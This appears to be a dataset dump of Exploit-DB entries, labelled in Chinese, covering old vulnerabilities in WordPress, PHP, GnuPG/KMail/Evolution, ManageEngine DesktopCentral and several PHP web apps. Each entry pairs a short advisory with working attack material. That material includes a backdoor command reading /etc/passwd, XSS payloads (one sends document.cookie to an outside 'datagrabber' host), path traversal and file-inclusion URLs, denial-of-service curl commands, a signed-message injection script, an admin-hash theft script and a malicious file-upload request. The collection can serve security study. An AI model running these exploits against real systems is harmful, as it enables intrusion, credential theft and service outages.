QLWD/code_shield huggingface dataset:
标题: WordPress Core 2.1.1 - '/wp-includes/theme.php?iz' Arbitrary Command Execution EDB-ID: 29702 CVE: 2007-1277 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/22797/info
 
An attacker compromised the source code for Wordpress 2.1.1 and altered it to include a malicious backdoor. This backdoor introduces a code-execution vulnerability that will let remote users inject PHP code or execute operating system commands.
 
The vendor has acknowledged this vulnerability and recommends that all users who have installed version 2.1.1 upgrade to version 2.1.2 or later. This issue appears limited to the 2.1.1 release.
 
http://www.example.com/wp-includes/theme.php?iz=cat /etc/passwd URL: https://www.exploit-db.com/exploits/29702
标题: Tyger Bug Tracking System 1.1.3 - 'login.php?PATH_INFO' Cross-Site Scripting EDB-ID: 29704 CVE: 2007-1291 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22799/info
 
Tyger Bug Tracking System is prone to multiple input-validation vulnerabilities, including one SQL-injection issue and two cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/Login.php/>">[XSS] URL: https://www.exploit-db.com/exploits/29704
标题: Tyger Bug Tracking System 1.1.3 - 'register.php?PATH_INFO' Cross-Site Scripting EDB-ID: 29705 CVE: 2007-1291 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22799/info
  
Tyger Bug Tracking System is prone to multiple input-validation vulnerabilities, including one SQL-injection issue and two cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/Register.php/>">[XSS] URL: https://www.exploit-db.com/exploits/29705
标题: WordPress Core 2.1.1 - Arbitrary Command Execution EDB-ID: 29701 CVE: 2007-1277 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/22797/info

An attacker compromised the source code for Wordpress 2.1.1 and altered it to include a malicious backdoor. This backdoor introduces a code-execution vulnerability that will let remote users inject PHP code or execute operating system commands.

The vendor has acknowledged this vulnerability and recommends that all users who have installed version 2.1.1 upgrade to version 2.1.2 or later. This issue appears limited to the 2.1.1 release.

http://www.example.com/wp-includes/feed.php?ix=phpinfo(); URL: https://www.exploit-db.com/exploits/29701
标题: aWebNews 1.1 - 'listing.php?path_to_news' Remote File Inclusion EDB-ID: 29696 CVE: 2007-1247 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/22781/info

aWebNews is prone to multiple remote file-include vulnerabilities.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/[aWebNewsPaTh]/listing.php?path_to_news=[Shell] URL: https://www.exploit-db.com/exploits/29696
标题: Built2go News Manager 1.0 Blog - 'rating.php?nid' Cross-Site Scripting EDB-ID: 29698 CVE: 2007-1248 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/22783/info
 
Built2Go News Manager Blog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
These issues affect versions prior to 1.0.3; prior versions may also be affected. 

http://www.example.com/[path]/rating.php?nid=[Xss-Script] http://www.example.com/[path]/news.php?nid=[Xss-Script] URL: https://www.exploit-db.com/exploits/29698
标题: Built2go News Manager 1.0 Blog - 'news.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29697 CVE: 2007-1248 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/22783/info

Built2Go News Manager Blog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect versions prior to 1.0.3; prior versions may also be affected. 

http://www.example.com/[path]/news.php?cid=[Xss-Script]
http://www.example.com/[path]/news.php?uid=[Xss-Script] URL: https://www.exploit-db.com/exploits/29697
标题: PHP 3/4/5 - ZendEngine Variable Destruction Remote Denial of Service EDB-ID: 29692 CVE: 2007-1285 类型: DOS 平台: PHP 发布日期: 2007-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/22764/info

PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker who can run PHP code on a vulnerable computer may exploit this vulnerability to crash PHP and the webserver, denying service to legitimate users.

This issue affects all versions of PHP. 

$ php -r 'echo "a".str_repeat("[]",200000)."=1&a=0";' > postdata

$ curl http://www.example.com/ -d @postdata URL: https://www.exploit-db.com/exploits/29692
标题: Comodo Firewall Pro 2.4.x - Local Protection Mechanism Bypass EDB-ID: 29695 CVE: 2007-1330 类型: LOCAL 平台: WINDOWS 发布日期: 2007-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/22775/info

Comodo Firewall Pro is prone to a protection-mechanism-bypass vulnerability.

Exploiting this issue allows local attackers to bypass protection mechanisms implemented to restrict access to altering the firewall's configuration settings. This allows them to disable the firewall, aiding them in further attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29695.zip URL: https://www.exploit-db.com/exploits/29695
标题: PHP 4/5 - Executor Deep Recursion Remote Denial of Service EDB-ID: 29693 CVE: 2006-1549 类型: DOS 平台: PHP 发布日期: 2007-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/22766/info

PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker with permissions to execute PHP code on an affected computer may exploit this issue to crash PHP and kill all remaining webserver threads. This will result in denial-of-service conditions.

Although this issue is local in nature, a remote attacker may exploit it by using other latent vulnerabilities such as a remote file-include issues; other remote attack vectors are also possible.

This issue affects all versions of PHP. 

$ curl http://www.example.com/phpmyadmin/ -d a`php -r 'echo str_repeat("[a]",20000);'`=1 URL: https://www.exploit-db.com/exploits/29693
标题: Adobe Acrobat/Adobe Reader 7.0.9 - Information Disclosure EDB-ID: 29686 CVE: 2007-1199 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/22753/info

Adobe Acrobat and Adobe Reader may allow remote attackers to retrieve the contents of files on a vulnerable computer.

Information gathered through a successful exploit of this vulnerability may aid in other attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29686.zip URL: https://www.exploit-db.com/exploits/29686
标题: EmbeddedWB Web Browser ActiveX Control - Remote Code Execution EDB-ID: 29688 CVE: 2007-1190 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/22755/info

EmbeddedWB Web Browser ActiveX control is prone to a remote code-execution vulnerability.

Exploiting this issue allows remote attackers to execute arbitrary machine code in the context of applications using the affected ActiveX control and possibly to compromise affected computers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29688.ocx URL: https://www.exploit-db.com/exploits/29688
标题: Gnome Evolution 2.x - GnuPG Arbitrary Content Injection EDB-ID: 29691 CVE: 2007-1266 类型: REMOTE 平台: LINUX 发布日期: 2007-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/22760/info

Evolution is prone to a vulnerability that may allow an attacker to add arbitrary content into a message without the end user knowing.

An attacker may be able to exploit this issue to add arbitrary content into a GnuPG signed and/or encrypted message.

This vulnerability is due to the weakness discussed in BID 22757 (GnuPG Signed Message Arbitrary Content Injection Weakness) and has been assigned its own BID because of the specific way that Evolution uses GnuPG.

This issue affects KMail versions prior to and including 2.8.1. 

#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()

start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")

text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])

onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1

plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62

signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)

compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]

pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed

os.write(1,str(pkt)) URL: https://www.exploit-db.com/exploits/29691
标题: HyperBook Guestbook 1.3 - GBConfiguration.DAT Hashed Password Information Disclosure EDB-ID: 29687 CVE: 2007-1192 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/22754/info

HyperBook Guestbook is prone to an information-disclosure vulnerability because the application fails to protect sensitive information.

An attacker can exploit this issue to access sensitive information that may lead to other attacks.

This issue affects version 1.3.0; other versions may also be affected.

#!/usr/bin/python
#Script                  :HyperBook Guestbook v1.30 (qbconfiguration.dat) Remote Admin md5 Hash Exploit
#Exploit Coded by        : PeTrO
#Exploit Discovered by   : SaO [www.saohackstyle.com]
#Credits to              :[soulreaver],Kuzey
 

import urllib
import sys
import parser

serv="http://"
i=0
for arg in sys.argv:
     i=i+1

if i!=3:
 print """\n\n
         \tHyperBook Guestbook v1.30  (qbconfiguration.dat) 
         \t\t    Remote Admin md5 Hash Exploit 
          \t                            
          \tUsage:Exploit.py [targetsite] [path] 
          \tExample:Exploit.py www.target.com /guestbook/\n\n"""
else:
    

    adres=sys.argv[1]
    path=sys.argv[2]

    str1=adres.join([serv,path])
    str2=str1.join(['','data/gbconfiguration.dat'])

    print "\n[~]Connecting..."
    url=urllib.urlopen(str2).read(); 
    print "\n[+]Connected!"
 
    test=url.find(path);

    t=0;
    print "\n\t\t\t-=[Admin md5 hash]=-"
    while(url[test+1]!=1): #parsing hash... by PeTrO..
              print url[test],

              if(url[test]=='\n'):
                 t=t+1;  

              if(t==2):
                 break;
                
              test=test+1;

    print "\n\n\t\t\t[ c0ded by PeTrO ]" URL: https://www.exploit-db.com/exploits/29687
标题: GnuPG 1.x - Signed Message Arbitrary Content Injection EDB-ID: 29689 CVE: 2007-1263 类型: REMOTE 平台: LINUX 发布日期: 2007-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/22757/info

GnuPG is prone to a weakness that may allow an attacker to add arbitrary content into a message without the end user knowing.

An attacker may be able to exploit this issue in applications using GnuPG to add arbitrary content into a signed and/or encrypted message.

Exploiting this issue depends on the individual application's use of GnuPG. Individual records will be created detailing this issue in affected applications. 

#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()

start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")

text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])

onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1

plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62

signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)

compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]

pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed

os.write(1,str(pkt)) URL: https://www.exploit-db.com/exploits/29689
标题: KMail 1.x - GnuPG Arbitrary Content Injection EDB-ID: 29690 CVE: 2007-1264 类型: REMOTE 平台: LINUX 发布日期: 2007-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/22759/info

KMail is prone to a vulnerability that may allow an attacker to add arbitrary content into a message without the end user knowing.

An attacker may be able to exploit this issue to add arbitrary content into a GnuPG signed and/or encrypted message.

This vulnerability is due to the weakness discussed in BID 22757 (GnuPG Signed Message Arbitrary Content Injection Weakness) and has been assigned its own BID because of the specific way that KMail uses GnuPG.

This issue affects KMail versions prior to and including 1.9.5. 

#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()

start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")

text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])

onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1

plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62

signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)

compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]

pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed

os.write(1,str(pkt)) URL: https://www.exploit-db.com/exploits/29690
标题: Pagesetter 6.2/6.3.0 - 'index.php' Local File Inclusion EDB-ID: 29681 CVE: 2007-1158 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22733/info

Pagesetter is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Pagesetter 6.3.0 beta 5 and prior versions are vulnerable to this issue. 

http://www.example.com/index.php?module=Pagesetter&type=file&func=preview&id=../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/29681
标题: Nullsoft SHOUTcast 1.9.7 - Logfile HTML Injection EDB-ID: 29685 CVE: 2007-1229 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/22742/info

Nullsoft SHOUTcast is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue affects SHOUTcast 1.9.7 for Microsoft Windows; other versions may also be vulnerable.

http://www.example.com/"/><script>alert(document.getElementsByTagName("PRE")[0].firstChild.data)</script> URL: https://www.exploit-db.com/exploits/29685
标题: Audins Audiens 3.3 - 'unistall.php' Authentication Bypass EDB-ID: 29676 CVE: 2007-1243 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: Audins Audiens is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Audins Audiens version 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/unistall.php?cnf=disinstalla&status=on URL: https://www.exploit-db.com/exploits/29676
标题: Linux Kernel 2.6.x - Audit Subsystems Local Denial of Service EDB-ID: 29683 CVE: 2007-0001 类型: DOS 平台: LINUX 发布日期: 2007-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/22737/info

The Linux Kernel is prone to a denial-of-service vulnerability.

A local attacker can exploit this issue to crash the kernel.

Linux kernel versions 2.6.x are vulnerable to this issue.

1. auditctl -w /etc/shadow
2. useradd userb URL: https://www.exploit-db.com/exploits/29683
标题: ManageEngine Desktop Central 8.0.0 build < 80293 - Arbitrary File Upload EDB-ID: 29674 CVE: 2014-5007 2013-7390 类型: WEBAPPS 平台: JSP 发布日期: 2013-11-18 漏洞利用脚本: (    , )     (, 
  .   `.' ) ('.    ', 
   ). , ('.   ( ) ( 
  (_,) .`), ) _ _, 
 /  _____/  / _  \    ____  ____   _____ 
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \ 
 /       \/   |    \\  \__(  <_> )  Y Y  \ 
/______  /\___|__  / \___  >____/|__|_|  / 
        \/         \/.-.    \/         \/:wq 
                    (x.0) 
                  '=.|w|.=' 
                  _='`"``=. 

                presents.. 

DesktopCentral Arbitrary File Upload Vulnerability
Affected versions: DesktopCentral versions < 80293

PDF: http://security-assessment.com/files/documents/advisory/DesktopCentral%20Arbitrary%20File%20Upload.pdf

+-----------+ 
|Description| 
+-----------+ 

ManageEngine DesktopCentral 8.0.0 build 80293 and below suffer from an arbitrary file upload vulnerability that can be 
leveraged to gain arbitrary code execution on the server. The code run on the server in this fashion will execute as 
NT-AUTHORITY\SYSTEM.
The problem exists in the AgentLogUploadServlet. This servlet takes input from HTTP POST and constructs an output file 
on the server without performing any sanitisation or even checking if the caller is authenticated. Due to the way the 
path is constructed it is possible to traverse to the application web root and create a script file that will be 
executed when called from a web browser.

+------------+ 
|Exploitation| 
+------------+ 

POST/agentLogUploader?computerName=DesktopCentral&domainName=webapps&
customerId=..&filename=test.jsp HTTP/1.1
Host: <desktopcentral>:8020
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive
Content-Type: text/html;
Content-Length: 109

<HTML>
 <HEAD>
  <TITLE>Hello World</TITLE>
 </HEAD>
 <BODY>
  <H1>Hello World</H1>
 </BODY>
</HTML>

+----------+ 
| Solution | 
+----------+ 

Apply the patch supplied by the vendor (Patch 80293)

+-------------------+ 
|Disclosure Timeline| 
+-------------------+ 


20/10/2013 – Vulnerability discovered, vendor notified.
25/10/2013 – Vendor acknowledges issue
30/10/2013 - Vendor issues Patch 80293 that fixes the issue
09/11/2013 – Exploit demonstrated at Kiwicon 7
18/11/2013 – Advisory released.

+-----------------------------+ 
|About Security-Assessment.com| 
+-----------------------------+ 

Security-Assessment.com is a New Zealand based world 
leader in web application testing, network security 
and penetration testing. Security-Assessment.com 
services organisations across New Zealand, Australia, 
Asia Pacific, the United States and the United 
Kingdom. 

Security-Assessment.com is currently looking for skilled penetration 
testers. If you are interested, please email 'hr at security-assessment.com' URL: https://www.exploit-db.com/exploits/29674
标题: WordPress Core 2.1.1 - 'post.php' Cross-Site Scripting EDB-ID: 29682 CVE: 2007-1244 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22735/info

Wordpress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Wordpress 2.1.1 is vulnerable to this issue; other versions may also be affected. 

Cookie in an Alert Box: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Clol= %27'></iframe> Cookie send to an Evil Host: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Eimage=document.createElement(%27img%27);im age.src=%27http://www.example.com/datagrabber.php?cookie=%27%2bdocument.cookie;%3C/script%3E%3Clol=%27'></iframe> URL: https://www.exploit-db.com/exploits/29682
标题: Audins Audiens 3.3 - 'setup.php?PATH_INFO' Cross-Site Scripting EDB-ID: 29677 CVE: 2007-1241 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: Audins Audiens is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Audins Audiens version 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/setup.php/>"><ScRiPt>alert('XSS')%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/29677
标题: Audins Audiens 3.3 - '/system/index.php?Cookie PHPSESSID' SQL Injection EDB-ID: 29678 CVE: 2007-1242 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: Audins Audiens is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve and overwrite sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Audins Audiens version 3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/system/index.php with PHPSESSID = ' URL: https://www.exploit-db.com/exploits/29678